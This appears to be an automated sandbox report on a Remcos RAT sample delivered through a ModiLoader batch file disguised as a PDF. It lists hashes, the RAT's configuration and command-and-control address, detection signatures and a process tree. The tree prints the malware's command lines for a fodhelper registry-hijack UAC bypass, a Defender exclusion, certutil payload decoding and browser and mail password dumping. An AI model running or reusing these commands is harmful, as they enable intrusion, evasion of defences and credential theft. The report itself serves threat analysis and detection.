Analysis
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max time kernel
148s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
27-03-2024 02:41
Static task
static1
Behavioral task
behavioral1
Sample
DEBIT_ADVICE_000610PAY001522024.PDF.bat
Resource
win7-20240220-en
Behavioral task
behavioral2
Sample
DEBIT_ADVICE_000610PAY001522024.PDF.bat
Resource
win10v2004-20240226-en
General
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Target
DEBIT_ADVICE_000610PAY001522024.PDF.bat
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Size
3.1MB
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MD5
37a23ddeb4d10dc479c3cda8bcad8fa6
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SHA1
8cf2add3ffd2840c508bd8b06f9a29d9a4fb7bf5
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SHA256
0a2ae63e384bb787bfaf113777640ad36ce8aabc235fd071de1cc746f32c1701
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SHA512
aae48f4509124f6e041e96a32da0071727244d909b84b5189fd153a74f07a5dc208f4e46b98166d0aa9b25c19277796c8c01f4faaec793c95c8c03b83ef05bba
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SSDEEP
24576:2wyJPcV/Hrrz6jT6vaQrAAAy4QE1FpVJQQul6kE82zg38H6HKpLJrvvfzrEZnfQL:9yJPcVHQNQrAAHEPJQT7Z38dEog3xfO
Malware Config
Extracted
remcos
RemoteHost
127.0.0.1:45671
127.0.0.1:55677
192.3.101.8:55677
192.3.101.8:45671
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-2P1XPK
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 14 IoCs
resource yara_rule behavioral2/memory/3720-97-0x00000000006E0000-0x00000000016E0000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3720-99-0x00000000006E0000-0x00000000016E0000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3720-100-0x00000000006E0000-0x00000000016E0000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3720-101-0x00000000006E0000-0x00000000016E0000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3720-103-0x00000000006E0000-0x00000000016E0000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3720-104-0x00000000006E0000-0x00000000016E0000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3720-108-0x00000000006E0000-0x00000000016E0000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3720-109-0x00000000006E0000-0x00000000016E0000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3720-110-0x00000000006E0000-0x00000000016E0000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3720-111-0x00000000006E0000-0x00000000016E0000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3720-113-0x00000000006E0000-0x00000000016E0000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3720-114-0x00000000006E0000-0x00000000016E0000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3720-116-0x00000000006E0000-0x00000000016E0000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3720-144-0x00000000006E0000-0x00000000016E0000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM -
Detects executables built or packed with MPress PE compressor 15 IoCs
resource yara_rule behavioral2/memory/4440-117-0x0000000000400000-0x0000000000478000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/2080-118-0x0000000000400000-0x0000000000462000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/4440-120-0x0000000000400000-0x0000000000478000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/2292-125-0x0000000000400000-0x0000000000424000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/4440-124-0x0000000000400000-0x0000000000478000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/2080-122-0x0000000000400000-0x0000000000462000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/2080-130-0x0000000000400000-0x0000000000462000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/2292-133-0x0000000000400000-0x0000000000424000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/2080-135-0x0000000000400000-0x0000000000462000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/2292-134-0x0000000000400000-0x0000000000424000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/2080-129-0x0000000000400000-0x0000000000462000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/2292-136-0x0000000000400000-0x0000000000424000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/4440-138-0x0000000000400000-0x0000000000478000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/3720-140-0x000000001A580000-0x000000001A599000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/3720-143-0x000000001A580000-0x000000001A599000-memory.dmp INDICATOR_EXE_Packed_MPress -
Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 2 IoCs
resource yara_rule behavioral2/memory/2080-130-0x0000000000400000-0x0000000000462000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store behavioral2/memory/2080-135-0x0000000000400000-0x0000000000462000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store -
Detects executables referencing many email and collaboration clients. Observed in information stealers 2 IoCs
resource yara_rule behavioral2/memory/2080-130-0x0000000000400000-0x0000000000462000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients behavioral2/memory/2080-135-0x0000000000400000-0x0000000000462000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients -
ModiLoader Second Stage 1 IoCs
resource yara_rule behavioral2/memory/4756-57-0x0000000003F30000-0x0000000004F30000-memory.dmp modiloader_stage2 -
NirSoft MailPassView 2 IoCs
Password recovery tool for various email clients
resource yara_rule behavioral2/memory/2080-130-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView behavioral2/memory/2080-135-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView -
NirSoft WebBrowserPassView 2 IoCs
Password recovery tool for various web browsers
resource yara_rule behavioral2/memory/4440-124-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView behavioral2/memory/4440-138-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView -
Nirsoft 6 IoCs
resource yara_rule behavioral2/memory/4440-124-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft behavioral2/memory/2080-130-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral2/memory/2080-135-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral2/memory/2292-134-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral2/memory/2292-136-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral2/memory/4440-138-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\Control Panel\International\Geo\Nation xkn.exe -
Executes dropped EXE 17 IoCs
pid Process 2476 alpha.exe 2128 alpha.exe 4024 alpha.exe 3200 xkn.exe 1648 alpha.exe 2692 alpha.exe 3876 kn.exe 2940 alpha.exe 4348 kn.exe 4756 Lewxa.com 512 alpha.exe 2448 alpha.exe 4076 alpha.exe 384 alpha.exe 4752 alpha.exe 1692 alpha.exe 3180 1631364.exe -
Loads dropped DLL 1 IoCs
pid Process 3180 1631364.exe -
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts colorcpl.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Koomxsve = "C:\\Users\\Public\\Koomxsve.url" Lewxa.com -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 3720 set thread context of 4440 3720 colorcpl.exe 146 PID 3720 set thread context of 2080 3720 colorcpl.exe 147 PID 3720 set thread context of 2292 3720 colorcpl.exe 148 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
pid pid_target Process procid_target 936 3720 WerFault.exe 144 -
Kills process with taskkill 2 IoCs
pid Process 1392 taskkill.exe 4376 taskkill.exe -
Modifies registry class 5 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\ms-settings reg.exe Key created \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\ms-settings\shell reg.exe Key created \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\ms-settings\shell\open reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\\Users " reg.exe Key created \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\ms-settings\shell\open\command reg.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 4520 reg.exe -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 55 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 3200 xkn.exe 3200 xkn.exe 3968 powershell.exe 3968 powershell.exe 3968 powershell.exe 4440 colorcpl.exe 4440 colorcpl.exe 2292 colorcpl.exe 2292 colorcpl.exe 4440 colorcpl.exe 4440 colorcpl.exe -
Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 3720 colorcpl.exe 3720 colorcpl.exe 3720 colorcpl.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 3200 xkn.exe Token: SeDebugPrivilege 4376 taskkill.exe Token: SeDebugPrivilege 1392 taskkill.exe Token: SeDebugPrivilege 3968 powershell.exe Token: SeDebugPrivilege 2292 colorcpl.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3720 colorcpl.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2416 wrote to memory of 4784 2416 cmd.exe 90 PID 2416 wrote to memory of 4784 2416 cmd.exe 90 PID 4784 wrote to memory of 2488 4784 cmd.exe 91 PID 4784 wrote to memory of 2488 4784 cmd.exe 91 PID 2416 wrote to memory of 2476 2416 cmd.exe 92 PID 2416 wrote to memory of 2476 2416 cmd.exe 92 PID 2476 wrote to memory of 3644 2476 alpha.exe 93 PID 2476 wrote to memory of 3644 2476 alpha.exe 93 PID 2416 wrote to memory of 2128 2416 cmd.exe 94 PID 2416 wrote to memory of 2128 2416 cmd.exe 94 PID 2128 wrote to memory of 4020 2128 alpha.exe 95 PID 2128 wrote to memory of 4020 2128 alpha.exe 95 PID 2416 wrote to memory of 4024 2416 cmd.exe 96 PID 2416 wrote to memory of 4024 2416 cmd.exe 96 PID 4024 wrote to memory of 3200 4024 alpha.exe 97 PID 4024 wrote to memory of 3200 4024 alpha.exe 97 PID 3200 wrote to memory of 1648 3200 xkn.exe 98 PID 3200 wrote to memory of 1648 3200 xkn.exe 98 PID 1648 wrote to memory of 4520 1648 alpha.exe 99 PID 1648 wrote to memory of 4520 1648 alpha.exe 99 PID 3200 wrote to memory of 2408 3200 xkn.exe 102 PID 3200 wrote to memory of 2408 3200 xkn.exe 102 PID 2416 wrote to memory of 2692 2416 cmd.exe 103 PID 2416 wrote to memory of 2692 2416 cmd.exe 103 PID 2692 wrote to memory of 3876 2692 alpha.exe 104 PID 2692 wrote to memory of 3876 2692 alpha.exe 104 PID 2416 wrote to memory of 2940 2416 cmd.exe 106 PID 2416 wrote to memory of 2940 2416 cmd.exe 106 PID 2940 wrote to memory of 4348 2940 alpha.exe 108 PID 2940 wrote to memory of 4348 2940 alpha.exe 108 PID 2416 wrote to memory of 4756 2416 cmd.exe 111 PID 2416 wrote to memory of 4756 2416 cmd.exe 111 PID 2416 wrote to memory of 4756 2416 cmd.exe 111 PID 2416 wrote to memory of 512 2416 cmd.exe 112 PID 2416 wrote to memory of 512 2416 cmd.exe 112 PID 2416 wrote to memory of 2448 2416 cmd.exe 113 PID 2416 wrote to memory of 2448 2416 cmd.exe 113 PID 2416 wrote to memory of 4076 2416 cmd.exe 115 PID 2416 wrote to memory of 4076 2416 cmd.exe 115 PID 2416 wrote to memory of 384 2416 cmd.exe 116 PID 2416 wrote to memory of 384 2416 cmd.exe 116 PID 2416 wrote to memory of 4752 2416 cmd.exe 117 PID 2416 wrote to memory of 4752 2416 cmd.exe 117 PID 4752 wrote to memory of 4376 4752 alpha.exe 118 PID 4752 wrote to memory of 4376 4752 alpha.exe 118 PID 2416 wrote to memory of 1692 2416 cmd.exe 120 PID 2416 wrote to memory of 1692 2416 cmd.exe 120 PID 1692 wrote to memory of 1392 1692 alpha.exe 122 PID 1692 wrote to memory of 1392 1692 alpha.exe 122 PID 4756 wrote to memory of 4028 4756 Lewxa.com 130 PID 4756 wrote to memory of 4028 4756 Lewxa.com 130 PID 4756 wrote to memory of 4028 4756 Lewxa.com 130 PID 4756 wrote to memory of 3576 4756 Lewxa.com 131 PID 4756 wrote to memory of 3576 4756 Lewxa.com 131 PID 4756 wrote to memory of 3576 4756 Lewxa.com 131 PID 4756 wrote to memory of 1836 4756 Lewxa.com 134 PID 4756 wrote to memory of 1836 4756 Lewxa.com 134 PID 4756 wrote to memory of 1836 4756 Lewxa.com 134 PID 1836 wrote to memory of 3180 1836 cmd.exe 136 PID 1836 wrote to memory of 3180 1836 cmd.exe 136 PID 3180 wrote to memory of 4264 3180 1631364.exe 137 PID 3180 wrote to memory of 4264 3180 1631364.exe 137 PID 4264 wrote to memory of 4048 4264 cmd.exe 140 PID 4264 wrote to memory of 4048 4264 cmd.exe 140
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2416 -
C:\Windows\system32\cmd.execmd /c extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe2⤵
- Suspicious use of WriteProcessMemory
PID:4784 -
C:\Windows\system32\extrac32.exeextrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe3⤵PID:2488
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2476 -
C:\Windows\system32\extrac32.exeextrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe3⤵PID:3644
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2128 -
C:\Windows\system32\extrac32.exeextrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe3⤵PID:4020
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4024 -
C:\Users\Public\xkn.exeC:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3200 -
C:\Users\Public\alpha.exe"C:\Users\Public\alpha.exe" /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1648 -
C:\Windows\system32\reg.exereg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "5⤵
- Modifies registry class
- Modifies registry key
PID:4520
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C:\Windows\system32\fodhelper.exe"C:\Windows\system32\fodhelper.exe"4⤵PID:2408
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 92⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2692 -
C:\Users\Public\kn.exeC:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 93⤵
- Executes dropped EXE
PID:3876
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 122⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2940 -
C:\Users\Public\kn.exeC:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 123⤵
- Executes dropped EXE
PID:4348
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C:\Users\Public\Libraries\Lewxa.comC:\\Users\\Public\\Libraries\\Lewxa.com2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4756 -
C:\Windows\SysWOW64\cmd.execmd /c mkdir "\\?\C:\Windows "3⤵PID:4028
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C:\Windows\SysWOW64\cmd.execmd /c mkdir "\\?\C:\Windows \System32"3⤵PID:3576
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C:\Windows\SysWOW64\cmd.execmd /c "C:\Windows \System32\1631364.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1836 -
C:\Windows \System32\1631364.exe"C:\Windows \System32\1631364.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3180 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""5⤵
- Suspicious use of WriteProcessMemory
PID:4264 -
C:\Windows\system32\cmd.execmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"6⤵PID:4048
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"7⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3968
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C:\Windows\SysWOW64\extrac32.exeC:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Lewxa.com C:\\Users\\Public\\Libraries\\Koomxsve.PIF3⤵PID:4708
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C:\Windows\SysWOW64\colorcpl.exeC:\Windows\System32\colorcpl.exe3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:3720 -
C:\Windows\SysWOW64\colorcpl.exeC:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\amixwhvjyuqnpmdjxqudkounpfwyenzd"4⤵
- Suspicious behavior: EnumeratesProcesses
PID:4440
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C:\Windows\SysWOW64\colorcpl.exeC:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\chnq"4⤵
- Accesses Microsoft Outlook accounts
PID:2080
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C:\Windows\SysWOW64\colorcpl.exeC:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\njaixsr"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2292
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3720 -s 13644⤵
- Program crash
PID:936
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa" / A / F / Q / S2⤵
- Executes dropped EXE
PID:512
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa.txt" / A / F / Q / S2⤵
- Executes dropped EXE
PID:2448
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S2⤵
- Executes dropped EXE
PID:4076
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S2⤵
- Executes dropped EXE
PID:384
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4752 -
C:\Windows\system32\taskkill.exetaskkill /F /IM SystemSettings.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4376
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1692 -
C:\Windows\system32\taskkill.exetaskkill /F /IM SystemSettingsAdminFlows.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1392
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C:\Windows\system32\SystemSettingsAdminFlows.exe"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper1⤵PID:3144
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3720 -ip 37201⤵PID:4872
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
64B
MD550a8221b93fbd2628ac460dd408a9fc1
SHA17e99fe16a9b14079b6f0316c37cc473e1f83a7e6
SHA25646e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e
SHA51227dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
4KB
MD563a3d218b0d233efc9806729feba705a
SHA13cda6c59e0b8115d8538c8ff0d94a49294d516ac
SHA25666ceb453b5931baa8d942d514cc1dcc41a24ab59313c0621daa9920bd0566bfd
SHA512d0cfb106b57a4e90523c194d073a131bc65461d8e792b0be51aef89aa413dded53c2aba723fc677f68b1211411a0e105b5771cafa045d3e11d54db578577b683
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Filesize
2.2MB
MD58f6b3132069a25963b93083743e160dd
SHA1364112fc579f11dfa82a3c1078ec19706cd6dfda
SHA2565184b2c7c5ffbaf8b8c9bac27545f09447b61d619a2f2bf472570b9ebec5747c
SHA512af3051aeed9de9931f12d48cd22fef3273f9350a1cdd3c476fa02f7550288f7a96112f311d4dadcf61f0a67c93c22ce2999fb6253c8841b9d399e710b8518938
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Filesize
1.1MB
MD504aba5a372c8dac9affd6f1578b478b3
SHA11e0d764539cbf2e86e0d59b83f407b429f61fdb7
SHA256b27a5e00f3339d8020da21dabc1c53e001bf5d4a809c47cee65f3e9383568411
SHA5124d69053814b86bd13b59ca8b147a5331d0eace3ed2aaa936dc35086fdba8ef44d757bdc788eec61338f443578f98b8859f8dd7c7eeef486cab9ecb8eb5be15a3
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Filesize
283KB
MD58a2122e8162dbef04694b9c3e0b6cdee
SHA1f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA51299e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
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Filesize
1.6MB
MD5bd8d9943a9b1def98eb83e0fa48796c2
SHA170e89852f023ab7cde0173eda1208dbb580f1e4f
SHA2568de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
SHA51295630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b
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Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
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Filesize
86KB
MD5a67f5b6dd5680a086feba86ba9990d03
SHA100b2fafa10f1ad0623b5a6c2d51344fa49ee2f5a
SHA25616e1f9fef93c93ed32130ac028b7860581eb61a5b454cb395c877ea2d6ce1019
SHA512cebee132ec11a5b2ac6e9cbf28e48bcf02233e69cf2e98f523b7835d5471855f405cf5a1515207861553cb9988f1809727dc4320a80a54d8d44865b88f5620e7
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Filesize
128KB
MD5231ce1e1d7d98b44371ffff407d68b59
SHA125510d0f6353dbf0c9f72fc880de7585e34b28ff
SHA25630951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96
SHA512520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612
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Filesize
112KB
MD5fa7aa88417d0c48807144a1a48fe3fbc
SHA16f5ec990b12d4a6075050a94e0d68d03781fa46d
SHA2562019dcd18ba7d5554a4a9da882740aa883941670af3de9396960081a0f8aa098
SHA51299b2eb6f8e7d00a3803cba229149e5e0cb67a3deb607782c55fbacd25d9c074cce83759de15490eff939d5ad98f26cdbd44395cc79ffe22753e16c3d9e3b5fff
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Filesize
11KB
MD5c545650595b479c81ad6b9d8882aae39
SHA17a98aa2e6eee23b3c1bba876955d525bc618b3f0
SHA256a3a80983cb33159f0455fa0135789402558baa1460db94d0071318512b8cb5f9
SHA51285ac596a7da9072a28c4178e4fdedc98f1b49c8e3fe5612cfe464833297b13f65d2dc59b52d7fc9970cff8f98d954111229aec0ed9dded454e03b0cf4ebb6ff3